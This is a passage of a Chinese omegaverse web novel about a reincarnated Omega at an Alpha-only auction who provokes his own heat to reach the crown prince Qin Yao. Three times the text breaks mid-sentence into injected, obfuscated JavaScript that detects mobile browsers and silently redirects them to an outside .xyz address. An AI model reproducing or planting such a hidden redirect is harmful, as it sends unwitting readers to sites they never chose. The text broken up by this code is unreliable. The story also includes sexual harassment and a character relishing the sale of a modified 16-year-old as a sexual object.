“小宝贝儿,别走神。”埃蒙虚惊一场后重整精神,“接下来可是今天的重头戏,最后一件神秘拍品啊,也不知道是什么好东西。” 阿斯蒙帝斯拍卖会每年举办一次,包含两场,第一场是不限性别身份,只要有邀请函都能参加的,拍品的范围很广,五花八门什么都有; 第二场就是现在他们所在的,Alpha专场,拍品通常都是针对Alpha喜欢的类型。 比如武器枪械、明星Omega的私人物品……总之就是更加黄暴。 除了拍品类别的区别外,Alpha专场拍卖会还有一个保留项目,就是在官网宣传的27件拍品之外,最后还会有一个除了主办方外,谁都不知道的隐藏拍品。 一到这个环节,不止主持人兴奋,音乐激昂,台下的观众更兴奋。 人的天性就是这样,什么东西一加盖上“隐藏款”、“盲盒”、“神秘礼物”之类的字眼,就容易叫人肾上腺素飙升。 “我猜今年的隐藏拍品是皇室的私藏——你们应该知道的,这段时间皇室跟阿斯蒙帝斯的八大家族走得很近。” “我觉得没准是宝石,听说最近阿蒙的矿山开采工作又进一步了。” “文物吧,前段时间在撒共不是说挖出了一个地下遗迹么?还上星网头条了,撒共联合大学的考古专家说这个遗迹证明了人类文明其实起源于撒共,而不是莉莉丝,本来这两边就喜欢护掰手腕,没准阿斯蒙帝斯也想凑个热闹呢?” “得了吧,呵呵,大家都是Alpha,自己想想,我们Alpha最关心的事是什么?是矿山?是历史?是皇室?哈哈哈,别装了!你们自己扪心自问,你们最想得到的、看到了就想据为己有的到底是什么东西!!” “……” 从27号拍品到28号拍品中间有一个卖关子的休息时间,Alpha们手里端着红酒,聊得眉飞色舞。 沈清崖跟埃蒙都听了一耳朵,埃蒙听得咯咯咯直笑,脸上装得再正人君子,那笑声都明显地越来越荡漾。 “小宝贝儿,他说得没错。” 他又暧昧地撩起沈清崖耳边的一缕金发,带着酒气的鼻息喷吐在他白嫩的耳廓上。 埃蒙用一种又轻又沙哑的气泡音在沈清崖耳边,慢条斯理地说:“小宝贝儿,你知道,在阿斯蒙帝斯Alpha专场拍卖会上,有史以来拍出的最高价拍品是什么么?” 沈清崖摇头,同时默不作声地往远离埃蒙的那边挪了挪。 “呵呵,是前年那场拍卖会,隐藏拍品是一个身体被改造过的Omega。据说本来是做药物实验的,但是失败了,造成这个Omega会永远处在易感期的状态,就算怀孕了也不会停止,他一辈子随时随刻都可以给Alpha带来最至高无上的享受,而且不受标记影响,多少Alpha都行。 “拍卖的时候这个Omega才16岁,按现在帝国人的寿命来说,拍走了他的Alpha至少可以再享受五十年吧,哈哈哈。 “这个Omega,拍到了二百八十亿。拍下他的那个Alpha倒也不是帝国最有钱的那一撮人,只能说色令智昏吧。” 沈清崖说:“你们Alpha真是没什么大脑啊。”只知道用下半身思考。 埃蒙哼笑:“还轮不到你这个小玩意儿来教育我。今年拍卖会对隐藏拍品的宣传尤其神秘,渲染了不少,期待值很高。照我看,今年的应该也是跟那次类似,没准又是个被不知做了什么改造的美人Omega。” “是吗,我倒觉得应该不是。” “哈哈哈,‘你觉得’!”埃蒙显然对于一个小Omega居然胆敢对这种大事有自己的见解这件事觉得很有趣,“那小宝贝儿,你倒是说说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000153|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你觉得隐藏拍品会是什么?” “唔……” 沈清崖想再喝一口泡泡奶茶,吸管凑到嘴边才发现已经喝完了,晃了两下杯子,眼巴巴的,很惋惜。 埃蒙就又给他叫了一杯,Omega露在罩袍帽檐下面的眼睛倏地亮了。 “你真是个天真可爱的小宝贝,到底是贵族养出来的。” 埃蒙扬起嘴角,牢牢注视着兜帽下那张比白玫瑰花瓣更娇柔的脸,语意不明道,“我可真是太喜欢你了,看来你的家人把你养得很好……可惜了,是他们的错,非要把你逼到逃婚这一步…… “我不一样,我会让你在阿斯蒙帝斯过上富足美好的生活的。” 沈清崖高兴地接过了侍者新递来的那杯泡泡奶茶,这次是巧克力星星草口味的,他特别喜欢。 吸了一大口泡泡奶茶,沈清崖才满足地喟叹着。 他含了一腮帮子泡泡,鼓着腮帮仓鼠一样边嚼边含糊不清地说:“我嚼得,介次的隐藏牌品,阔能系以前从来没粗线过的登西。” “……”埃蒙问,“比如呢?” “比如……嗯……从污染区弄肥来的宝贝吧。” 二人说话间,舞台上的聚光灯重新亮起,主持人上了台,本来在交头接耳的客人们安静了,都擦亮了眼等,看这次的隐藏拍品是什么天上有地下无的宝贝。 埃蒙瞥了一眼舞台,然后就因为沈清崖的厥词笑开了:“从污染区搞来的东西固然难得,但以往也不是没有过。而且这几年去污染区淘金的探险队越来越多,如果不是什么旷世奇珍,也没那么稀奇了。” “那如果,真是旷世奇珍呢?” 沈清崖嚼完了嘴里的奶茶泡泡,享受着甜甜的糖浆布满每一个味蕾的感觉,然后往台上一指。 埃蒙顺着Omega葱白的食指看过去,有些疑惑。 兔女郎推上来的东西,是一个看上去平平无奇的大花盆。 如果说有什么不一样,就是这花盆真的大得出奇……而且似乎是某种合金制成的,非常牢固。 相比于花盆的大,里面种着的植物就小得可怜了。 一株嫩绿色的小苗苗,还没有Omega的小手指粗,就那么孤零零地竖起两片柔软的叶子,长在花盆中间。 这什么玩意? 在场所有人都有此疑问。 主持人卖足了关子,才高高举起麦克风,向全场介绍这件宝贝。 “最后一件隐藏拍品,也是本次拍卖会最万众期待的宝物。它来自污染最严重的第八星,据送它来拍卖会的卖家描述,是从第八星污染区的最深处挖出来的、世界上最为奇异的植物。” 埃蒙切了一声:“再奇异的植物也就是个植物而已,到底有什么特别之处?” 主持人像是知道大家心中所想一样,高声道:“没错,相信大家一定在疑惑,这棵小树苗,到底有何特别之处。那么,就由我来郑重向大家介绍,这株来自污染区深处的、经历了重重污染变异后顽强生存下来的植物的真实面目——” 长篇累牍的铺垫还没结束,台下就有人猛地站了起来。 座椅哐啷一声巨响,惊至四座。 “再生树!这是再生树!!!活死人,肉白骨,能让已死之人重生的传说中的污染区造物!!! “哈哈哈哈哈哈哈!没想到……没想到…………老夫有生之年竟能得见此物!!!!” 5. 沙利叶花的香气 沈清崖心里咯噔一下,循着声源往后看过去。 发出惊呼的是一个白胡子老头,戴了全包头的帽子,身着黑袍,胡子一直长到下腹部,像一株成了精的千年老参。 沈清崖上辈子曾经见过这种打扮的人,这是有特殊宗教信仰的延边少数民族,到现在还是部落生态,会有类似酋长跟大祭司的职务,拒绝跟现代科技为伍。 那老头年纪一定很大了,双眼都已很浑浊,此刻盯着台上那棵小苗苗,眼底发出了激动的光彩。 再生树。 沈清崖上辈子在一些文献中看到过这种生物。 据说这也是星群大污染后,在污染区诞生的新生物种之一。就像那个老者说的,具有让人起死回生之效。 但这种东西一直只存在于传说中,到底是不是确有此物,从来也没有个定论。 那些跟沈清崖相熟的老学究们都是对这种东西的存在嗤之以鼻的,觉得不过是以讹传讹的民科罢了。 “没错,现在在台上的,正是只存在于传说中的神奇生物,能让死去的人起死回生的污染区生物——再生树!从星群大污染后至今已有逾九百年,它终于得见天日! “我们阿斯蒙帝斯拍卖会是良心经营的产业,因此在正式开拍前,请容许我向各位温情提示: “一,污染区生物一切未知,再生树作为活体拍品,一经拍卖,存活与否,都由买家承担,阿斯蒙帝斯拍卖会不负责任何售后哦~ “二,起死回生是逆天之举,无论有什么副作用,导致了怎样的后果,都请不要追责阿斯蒙帝斯拍卖会哦~~追责了也没有用的~ “那么,本次拍卖会的压轴隐藏拍品——来自第八星污染区深处的、具有起死回生之功效的神秘植物,再生树!起拍价一百五十亿!请——竞——拍——!” 坐在坐后排的老者颤巍巍地举牌,山羊胡子在空调风的吹拂下抖得像他本人一样风中凌乱。 “一百五十五亿!一次!” 埃蒙不屑地瞥了那老头一眼:“这位也太不自量力了些,穷乡僻壤部落里来的人,竟然还想竞拍这种宝贝。” 沈清崖歪着头没说话,他觉得有点奇怪。 据他所知,那些一直不愿意融入现代科技跟文明的部落,都是因为宗教信仰的原因,崇尚原始自然的生活方式。 在他们的宗教信仰里,用外力扭转自然生死应该是很忌讳的事才对,为什么要来拍再生树呢? “那谁知道,或许是他们部族里的哪位重要人物去世了吧,这才慌不择路了。” 听到埃蒙说话,沈清崖才发觉自己无意识把心中所想说出来了。 这精虫上脑的Alpha正经不过三秒,手开始有意无意地想往沈清崖身上搭,嘴里说:“呵呵,没想到你这小Omega懂得还挺多,看来是我小瞧你了。也好,博学多识的小东西,吃起来更够味。” 沈清崖:“……”以前还真没发现,Alpha是这么让人嫌弃的生物呢…… 不过埃蒙说的也没错,这个穷乡僻壤来的老头在阿斯蒙帝斯拍卖会场上确实完全没有竞争力。 才一眨眼的工夫,再生树就已经拍上三百亿了。轻轻松松就超过了前年那个史上最贵Omega的身价。 那少民部落的老头面如土色,抖得像一片风中残叶。 把他们全部落所有值钱东西打包卖了估计也拿不出这么多钱来。 况且…… 沈清崖再次望向二楼的3号包厢。 其他所有人都在天价之下退却了,现在只剩下秦曜跟另外一个客人还在竞价。 三百二十亿…… 三百七十亿…… 四百亿…… 五百亿…… 拍卖会场内随着这个数字水涨船高,惊呼声也一浪高过一浪,主持人激动的吼声快把屋顶都掀翻了。 “小东西,你觉得最后谁能得手?” 沈清崖垂着眼睛,恹恹的:“自然是殿下。” “呵呵,你对殿下真的很有信心,但还是别天天想着飞上枝头做凤凰了,懂?” “…………” 他不是对秦曜这个人有信心。 他是对秦曜这个人的疯癫程度有信心…… 上辈子他死后,尸体早就没了,估计已经在污染区化成灰被扬了。 秦曜回到帝星后,给他立了一座衣冠冢。 那坟冢在莉莉丝远郊的荒地上,周围有狐狸有狼有棕熊,唯独没有人……也没有鬼,他的灵魂飘在坟墓附近,连个作伴的都没有,只能闲来无事逗逗狐狸玩。 沈清崖很生气,很想活过来质问秦曜一句:你为什么不给我把坟立在闹市区! 冰激凌店旁边或者可丽饼店旁边都可以啊,他不挑的。 沈清崖正蹲在坟墓旁边骂骂咧咧,然后秦曜就来看他了。 那几年,秦曜总是拎着一壶酒,隔三差五地来给他上坟。偶尔心情好了,还会给旁边窥伺的狐狸扔几块肉干吃。 沈清崖倒是不介意秦曜来给他上坟,正好他也无聊,来个活人——虽然是仇人,总归还是能热闹点儿。他仗着秦曜看不见他,对堂堂帝国太子又是踢又是踹又是捶,很是解气,就是累得他这个灵魂差点飘上天成仙了。 相比于多动症一样的沈清崖,秦曜就很懒得动弹了。 他向来是拎着酒,往沈清崖的坟前一坐,然后就一边给自己灌酒,一边挤出一个扭曲的笑容。 沈清崖不记得那几年秦曜在他的坟前讲了多少垃圾话了,这个癫子身上常年穿着军装,黑底金色双排扣的笔挺制服不套袖子,就那么搭在肩上,在荒冢前随风飘扬。跟身上帅气的军装截然相反的是此人嘴里讲的浑话。 什么“死什么死?沈清崖我看你就是欠日”; 什么“我当年就应该找研究所那帮老头把转性别的药弄来,呵呵,那我们早就生八个了。等你死了,我就天天揍你的崽,我倒要看你会不会气活过来”; 什么“沈清崖你等着,我迟早要弄到能让你活过来的东西。哪怕把污染区翻个底朝天,我也要把你弄活过来……然后草死你。” 其实秦曜平时是个挺装逼的人,毕竟是太子殿下。 可惜了,酒喝多了就是个酒蒙子,素质奇低,听得沈清崖感觉自己都没法上天堂了。 彼时秦曜喝得醉醺醺,一身酒臭味瘫在他的坟冢前,沈清崖在他身边飘来飘去。 他好奇地问:“你不会真想把我复活吧?那种事情能办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000154|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到吗?” 秦曜眼睛都闭上了,喃喃着,倒像真听到了沈清崖灵魂的声音一般。 “……能……一定能……污染区……有能让人……死而复生的……宝贝…………” …… 属于灵魂的记忆总是动不动袭上心头雷沈清崖一下。 秦曜还在跟那个不知道哪里来的客人竞拍,那个客人后来声音都颤抖了:“六……六百五十……亿……” 包厢里的太子殿下始终没有说过一句话,只是沉默地举牌,连犹豫都没有一丝。 最后成交价,七百二十亿。 这件自阿斯蒙帝斯拍卖会成立以来最高价的拍品,以一个几乎能买下莉莉丝最核心地段的大块地皮的恐怖价格,被秦曜拍走了。 之前那些拍品成交后还有人欢呼,这次全场鸦雀无声了。 太子殿下的财力……有点过于吓人了吧!这是真富可敌国了啊! “真执着。”埃蒙啧啧出声,“也不知道太子殿下拍了那玩意儿是打算去复活谁。” 复活我呗。 沈清崖在心里吐槽,这点自信他还是有的。 可惜他已经活了,也不知道这七百二十亿花下去到底有用没有。现在这个Omega身体属实是不方便,如果能回到原来的身体里,也挺好的。 但如果回到原来身体的代价,就是天天都要被秦曜咬牙切齿地日…… 那还是算了,就这样吧。 他选择一辈子做这个肩不能挑手不能提的Omega。 拍卖会结束后,埃蒙来劲了,圈着沈清崖的腰就想把他往会场楼上的酒店套房里带。 沈清崖装模作样地跟他推搡挣扎,学着那些肥皂剧里被Alpha强抢的可怜小O,梨花带雨的。 “不要啊不要啊埃蒙先生,呜呜……我好害怕……” 就这么在走廊上推搡着拖延了一会儿时间,忽然有大量安保赶来,让大家往两边疏散,拉开隔离栏,两排保镖分守道路两边。 沈清崖眼睛一亮,知道机会来了。 他辛辛苦苦跑到阿斯蒙帝斯,听了一晚上陌生Alpha的骚话,还被摸了好几把,可不能忘了来这里的目的。 走廊尽头传来许多凌乱的脚步声,无数保镖跟皇家骑士开道,簇拥着那个一身军装的高大男人远远走了过来。 很多人都是第一次近距离见这位传说中性格相当扭曲癫狂的帝国太子殿下,光是看一眼,就感觉到了巨大的威压。 尤其是Alpha,在顶级同类的疯狂信息素压制下,几乎都要喘不上气来。 埃蒙低着头不敢抬起,脸上脖子上不知不觉出了好多冷汗。 沈清崖是未被标记过的Omega,不会受秦曜的信息素威压影响。 但也不知是不是因为灵魂还记得秦曜的味道,隔得远远的,在混杂的人群中,他竟闻到了一丝沙利叶花的花香。 沙利叶是在莉莉丝很常见的一种花,花朵是白色的,很小,开起来漫山遍野都是,像纯白的星星。Omega们很喜欢摘取这种花作为饰物,戴在头上跟手腕上,是一种被认为很纯洁烂漫的花。 的确很难想象,那个神经病癫子太子殿下,居然信息素是这种气味的。 6. 我……奇耻大辱! 攻略目标好感度下降…… 沙利叶花的香气越来越近,沈清崖有一瞬的恍惚,想起上辈子与这香气、以及拥有这个香气的人纠缠的日日夜夜。 这个味道对于其他人来说是纯洁的花香,于他来说,却是欲望的深渊,黏腻又湿润,极致愉悦,又极致痛苦。 沈清崖又感觉到自己的脊骨在战栗。 系统提醒他:【宿主,不要紧张,是非成败在此一举!上吧!攻略这个悲惨的男人!】 沈清崖忍不住说:【我才是那个悲惨的男人吧。】 系统装听不懂。 埃蒙的头越来越低,在场其他的Alpha也跟他差不多,汗珠一滴一滴落在化石原石打成的地面上,汇聚成一个个小水坑。 眼见着秦曜越走越近,沙利叶花的味道几乎就在鼻尖了。 “嘶啦”一声,沈清崖撕掉了后颈上的抑制贴。 没被标记的Omega如果不在易感期,通常就算不贴抑制贴,信息素也不会太过外泄。但现下情况不一样,这是一个几乎每一寸空气都飘满了Alpha信息素的地方。 何况还有沈清崖的老情人在。 过分浓郁的Alpha信息素像烈酒一样刺激着沈清崖曝露在空气中的腺体,他几乎是瞬间就被席卷而来的浓郁信息素冲击得站立不稳。 在来阿斯蒙帝斯之前,休汀家为了米兰的婚事做准备,已经有一个多月没给他提供过抑制剂了。 沈清崖这几天能感觉到身体时不时地发热,脑袋晕乎乎的,这应该是Omega易感期将近的征兆,再在这个充斥了Alpha的拍卖会一激,想必立马就会被诱导提前。 帝国有法律规定,当Omega在公众环境进入易感期,将自动归属为在场Alpha中等级最高的一位。 除非这位Alpha不接受,那归属权自动向下一位延伸。 要想接近秦曜,这是成功率最高的方法了。 至于被秦曜带走之后怎么办…… 沈清崖眼一闭腿一蹬——以后的事情以后再说,现在保住小命才是最要紧的。 . 将一个临近易感期的Omega扔进Alpha堆里会发生什么? 大概就相当于往狼堆里扔了一块肉,朝鱼群中掷了一块饵。群狼窥伺,鱼群躁动,一波又一波浪涛涌起,凝出漩涡。 “……什么香味?” 离沈清崖最近的埃蒙脸部表情空白了一会儿,然后意识猛然到什么,转头瞪着沈清崖,咬着牙问,“你把抑制贴撕了?” 不过他也就来得及问出这句话,很快手上跟脖子上就青筋暴起。 埃蒙可不愿意自己好不容易叼回窝的小猎物变成飞走的鸭子,他不敢大声说话,怕引起周围别的Alpha的注意,俯身想把沈清崖的抑制贴再盖回去。 但抑制贴早被沈清崖扔了。 为了给太子让出道,走廊边上的人站得挤挤挨挨的,那张白色的抑制贴也不知道正被谁踩在脚下,埃蒙想找也找不着。 “你……你真是……好样的!你们这些Omega!为了攀高枝儿,真是无所不用其极! “我告诉你……你会后悔的!” 埃蒙已经说不下去了。 他自恃是一名多么风采卓然的黑//手党绅士呀!可是他现在只觉得鼻腔里一股热浪——他特么要流鼻血了! 埃蒙火速掏出手帕捂住鼻子,却堵不住激涌而下的热流,鼻血流经丝质手帕,然后滴答滴答落下了地。 这会儿周围其他Alpha也感受到了来自Omega清甜的信息素气息,甜腻的香气像台风眼,一圈一圈向外飓风式扩散! “哪来的Omega?!” “草!拍卖会里怎么会有没主的Omega!” “哈哈哈哈哈!我倒要找找这个小东西在哪里,白捡的便宜,不要白不要!” “呵呵……你傻了?忘了这是什么地方,你眼前是谁?这Omega就算就地张开腿躺下,也轮不到你。” “那谁说得准?太子殿下也老大不小了,这么多年都没匹配到合适的Omega,他会在路边随便捡个Omega回去?我可不信。” 好在这边人群乌泱泱的,密度太高,Alpha们如同雄峰般躁动不安,但你看我我看你,一时又都无法确定到底那个泄露了信息素的Omega在哪里。 人群一躁动,就更混乱了,当真跟蜂群一样横冲直撞。 现场的安保想控制秩序,可安保他们也是Alpha啊!同样也受到了影响,都自顾不暇了。 要说现场唯一一个还冷静地站着,目不斜视的人,也就只有太子殿下秦曜了。 本来为他腾开道路的人群因为躁乱,开始互相推挤,所有人都在找那个易感期的Omega,一下子就把尊贵的太子殿下出门的路堵死了。 太子的随从都是Beta,因此没有受到影响,此刻在疯狂向秦曜鞠躬道歉,瑟瑟发抖,生怕这位阴晴不定的太子殿下迁怒自己。 “真的对不起殿下!属下没有想到会出现这种事!我们现在就去找主办方疏散人群!请殿下稍安勿躁!” 秦曜很镇定。 他被随从护在正中间,形成了一个隔离的小圈,还有闲情逸致摘下白手套,慢条斯理地擦拭自己修长的手指。 左手无名指的指甲凸出来了0.02mm,不够圆润,他便掏出锉刀,细致地将之磨平。 太子殿下面对着一团混乱的局面,一句话不说,可他越是这样,越是叫随从两股战战。 如果说整个帕罗迪斯帝国里,论“不能得罪”的程度,这位太子殿下排第二,恐怕没有人敢争第一。 秦曜,在这一代皇室Alpha嫡子中排位第三,是年纪最小的一个,但也是最让人摸不透的一个。 帝国几千年来各个人种血统大混杂,后来的污染更是破坏了基因链。 秦曜倒是非常罕见地有一头乌黑的头发,这种返祖特征也是他的支持者认为他的“皇族血统更加纯正”的证据。 高贵的黑发,忧郁的蓝眼睛; 俊美无俦的外表,S+的等级…… 可惜了,如此优越的条件,错就错在此人精神状态实在太癫,不然也不至于让那么多差点就要跟他结亲的Omega吓得连夜奔逃,甚至不惜自戕。 坊间一直有传闻,这位看上去人模狗样的太子殿下,在自己的府邸里有一间地下室,里面放满了从古至今从前朝到现代所有你想象得到跟想象不到的刑具。 据说太子殿下最大的爱好就是凌虐和酷刑,手底下亡魂无数…… 而且此人玩得花,还荤腥不忌,从Omega到Beta到Alpha,他都搞,不结合,只虐待。 恐怖如斯! 这都是这几年关于秦曜的负面舆论,沈清崖都凉了八年了,不知道。 他要是知道的话一定会觉得匪夷所思。 ——秦曜充其量是心眼儿小了点儿,爱装了点儿,癫是确实癫,倒也不至于此! 还是说他死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000155|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的这几年发生了什么事,让这个癫子终于迈向变态的终极了么? 沈清崖不知道,沈清崖无知,所以无畏。 他处于躁动的“雄峰”之中,被无数Alpha凶戾的、横冲直撞的信息素冲击,体温在短短数分钟内急剧升高。 沈清崖甚至迷蒙中产生了自己已经变成了一个移动的烤炉的错觉,感觉什么东西碰一下自己,就要化了…… 眼前仿佛蒙上了一层雾气,周围的一切朦朦胧胧看不真切,所有的感官都汇聚到了身体内部。 他渐渐再站不稳,需要扶着旁边的墙壁勉强支撑起身子。 两条腿在剧烈颤抖,像两根浪涛激荡中无力的芦苇。 失策了…… 以前也……没人告诉他…………Omega的易感期……都还没真正到来……就这么难受……啊………… 沈清崖这个样子,很快就引起了周围Alpha的注意。 埃蒙已经不知道被人潮推挤到什么地方去了,现在围在沈清崖周围乱哄哄的Alpha已经换了一波,他们跟狗一样伸长了鼻子嗅,终于嗅到了这个一身白袍的Omega身上浓烈的信息素气息。 一块甜美的、从天而降的小蛋糕。 好几只大手抓向沈清崖,他这副软绵绵的身体被Alpha一抓几乎就是一道五指印,疼得要死。 沈清崖尽量躲开那些伸向他的手,他伏下身子,在地上爬,有迫不及待的Alpha拽着他的腿想往后拖,又被尚且还有神志的Alpha阻止:“你疯了?殿下还在,你要越级抢占Omega??要坐牢的!” 扯着沈清崖的Alpha嗓音粗哑,一听就不是什么显贵出身,言语间尽是泼皮无赖味: “呵呵,老子管它那么多!这里是阿斯蒙帝斯!莉莉丝的王法在这不管用!” 所幸这种无赖在阿斯蒙帝斯拍卖会还是绝对少数。 总有人,对抱大腿向上爬的欲望战胜了原始本能。 一名古龙水的香味掩盖了信息素气息的Alpha将沈清崖腾空抱了起来。 Alpha的体温也很高,揽在沈清崖腰间的手跟沈清崖的体温烫得不相上下,显然也被体内蒸腾的欲望折磨得不轻。 他却横抱着沈清崖,一步一步,艰难又坚定地走向了太子殿下的包围圈之内。 只见Alpha单膝跪下,抬高声音:“太子殿下,在下是莉莉丝的歌尔默大公之子,费文·歌尔默,这里有一名易感期将至的无主Omega,在下将他献与您,愿帝国的光辉永世留存,愿光辉与您同在。” 沈清崖:“……” 谢谢你。 不错,起猛了,遇上马屁精啦。 计划顺利推进,沈清崖正在内心放烟花,就听见不远处一声嘲弄的轻哼。 “这种低劣的、在公开场合一群Alpha中间公然发(和谐)情的下等Omega,也配当个宝贝一样献给我?什么歌尔默大公,你这副蠢样子,倒像是哪来的大公公。” 沈清崖:“…………” 费文·歌尔默:“………………” 系统适时冒出来给沈清崖添堵:【报告宿主,报告宿主,攻略目标[美强惨帝国太子秦曜]好感度下降30点,目前好感度-30,请宿主知悉,宿主要加油哦~~目标是3天内将目标好感度提升至15点,否则抹杀~~~抹杀~~~抹杀~~~】 ………… 秦曜这个(哔——),怎么不按剧本排好的演啊! 7. 我被装箱 马屁精一个大马屁拍到了马腿上,僵立在原地,抱着Omega的手是放下也不合适,继续抱着也不合适,脸色如走马灯般赤橙黄绿青蓝紫地变了一遭,最终化为一个讪笑。 本来想利用一下这个Omega,给家族挣个在皇室面前露脸的机会。 现在好了,他爹的脸都被他这个公公丢尽了。 “还不滚?” 太子殿下把手上的指甲锉子收起来,一抬头看见费文还在地上跪着,语气从嘲讽变成了不耐烦。 秦曜的随从偷偷觑了一眼自己主人的脸色,立马扭头,挤眉弄眼地朝费文挥手,做口型:快跑,快跑,跑晚了别怪我不提醒你。 “……抱,抱歉,打扰太子殿下圣驾了,是在下僭越了。” 太子殿下凶名在外,费文自然也有耳闻,他这把属于纯赌徒心态,想着博个大的,赌赢了没准就飞升了呢? 果然赌徒心理要不得。 费文站起身抱着怀里的Omega就要走,暗暗把这笔烂账全算在了个这个管理不好自己易感期的小Omega身上。 他自己还憋得难受呢,太子不要,那他就近水楼台先得月,怎么也得把这个小玩意弄回去好好“惩罚”一下。 费文满肚子坏水乱滚着,哪想还没走出去十米,又被叫住了。 “站住。” 太子殿下森冷的声音叫Alpha虎躯一震,差点一个哆嗦把手里的Omega摔了。 “殿……殿下还有什么吩咐……”费文哆哆嗦嗦地回头。 他不敢抬头与秦曜对视,如果他抬头了,就会发现尊贵的太子殿下脸上不耐烦中掺杂了一丝疑惑。 当然还有很多丝的凶残。 “这是哪来的Omega?”秦曜问。 费文支吾了半天,答不上来,秦曜嗤笑:“敢情是你就地捡尸的啊?你们这大公公家的人倒是胆子大得很,来路不明的Omega也敢当自己的东西往我这里献宝,这手借花献佛玩得很顺溜么。” “……”费文冷汗都下来了。 沈清崖一直乖巧地窝在那里,一见这个局面,感觉机会又来了。 他也来当一把赌徒!搏一搏,单车变摩托! 其实他现在很难受。 他被熟悉的沙利叶花香气环绕,那花香是全然迥异于秦曜本人的温柔,像春天的原野,将人暖融融地包覆其中。 但是与花香不匹配的是那信息素中所蕴含的极强的攻击性,沈清崖离秦曜越近,越觉得身体几乎要化成一滩水。 就差给秦曜这个死人头就地跪下了。 他用力掐了一把自己的大腿,才勉强连字成句。 声音还是颤巍巍地在发抖:“殿下……小人是……约瑟·休汀伯爵之子……名叫…………米兰……” Omega抬头间,兜帽落下,长发如碎金蜿蜒流淌而下。 秦曜站在原地没有动,一点也没像那些急色的Alpha一样被美色所诱惑。 他像打量一个物件一样俯视着这个全身都在可怜巴巴地颤抖的Omega,随口问身边随从:“约瑟·休汀是谁?” 随从回:“殿下,这位也是莉莉丝的贵族,不过跟皇室关系不近,所以您可能没听过。这几年休汀家也送了两三个Alpha进前线战区呢。” 秦曜说:“想必是废物,听都没听过。” 随从点头:“是挺废物的。” 秦曜又说:“不过再废物,好歹是个贵族,怎么会让自己家没被标记的Omega跑到这里来?” 随从立马端出星网网页:“殿下,我已经查完了,这Omega逃婚了,休汀家在通缉他呢。” 沈清崖见话已经递到这了,迅速又掐了自己一把,然后一撅蹄子踹了费文一脚。 可怜的大公公毫无心理准备,被踹得一声闷哼,松了手,沈清崖连滚带爬地翻了下去,爬到秦曜脚边。 然后抬头,拼命克服生理本能,使出全身的力气,挤出了一个谄媚又楚楚可怜的神情。 美人落泪,如雨打梨花,含苞欲绽,堪醉春风。 “殿下……求求您……救救小人…………小人……我……我快受不住了……” “……” 秦曜眯着凤眼,军服上的双排金色扣子反射着顶灯的光,像一座冷峻的高塔。他下颌微敛,冷冷俯视地上这个Omega。 Omega的信息素大多味道甜腻,别的Alpha一闻到这种甜腻的气息就跟返祖的大猩猩一样兴奋得躁动不堪,秦曜只觉得愚蠢不堪。 眼前这个Omega的信息素也在爆发式地外泄,却没有那么甜腻,像是某种果香,清甜自然的味道,秦曜判断不出那具体是什么东西的果香,但莫名觉得有些似曾相识。 那信息素像小钩子一样,若有似无地勾缠了秦曜的信息素,这种被唤起的感觉……这八年以来从未再有过。 于是他身为Alpha的本能让他刚才拦住了费文。 但现下仔细看来,这也不过就是个平平无奇的羸弱的Omega。 “把这个Omega带走。” 秦曜淡淡地吩咐了随从一句,然后抬目看了看前面仍旧被堵得水泄不通的出口,抬手。 只见太子殿下端端正正戴着丝质白手套的手掌上,瞬息之间腾起了一团风涡! 风窝越变越大,以秦曜为中心,四周风声赫赫,所有人的衣服斗篷和发髻都被吹起,纸张跟零碎物件原地腾起四处翻飞。 走廊的顶灯在飓风之下滋啦滋啦闪了闪,全都抵御不住,玻璃在刹那间爆开,噼啪乱飞。 被Omega信息素撩得在发狂边缘的Alpha们一个个脑子都不清楚,还未及反应发生了什么事,就嗷嗷叫着被风压挤向两侧,一个压一个堆叠在一起,成了密集的人肉摊大饼。 待这些可怜的拍卖会贵客们头晕目眩地把自己从墙上地上撕起来时,漆黑一片的走廊里,早已不见了殿下的身影。 …… 沈清崖也头晕目眩。 他本来还只是被信息素刺激得身热腿软,这会儿就不一样了。 他是一边身热腿软,一边像被扔上了最疯癫的驾驶员开的星际列车,不管不顾地一通翻滚冲刺,等“列车”停下来,差点当场吐出来。 平复了好一会儿才堪堪好些,沈清崖抬头,发现抱着他的……这个似乎应该是秦曜的Beta随从,也面有菜色得跟他不相上下。 随从见怀里的Omega看他,还虚弱地安抚:“放心,这只是殿下的异能,死不了,啊。” 沈清崖:“……” 这种事情他自然是知道的。 真要说的话,秦曜之所以会获得这个异能,还有上辈子的自己的功劳。 只是秦曜这个货,非但不谢他,还恩将仇报罢了。 秦曜的风涡将他们一行人顺利带离了拍卖会现场。 拍卖会门口接太子殿下的车早已恭候多时,抱着沈 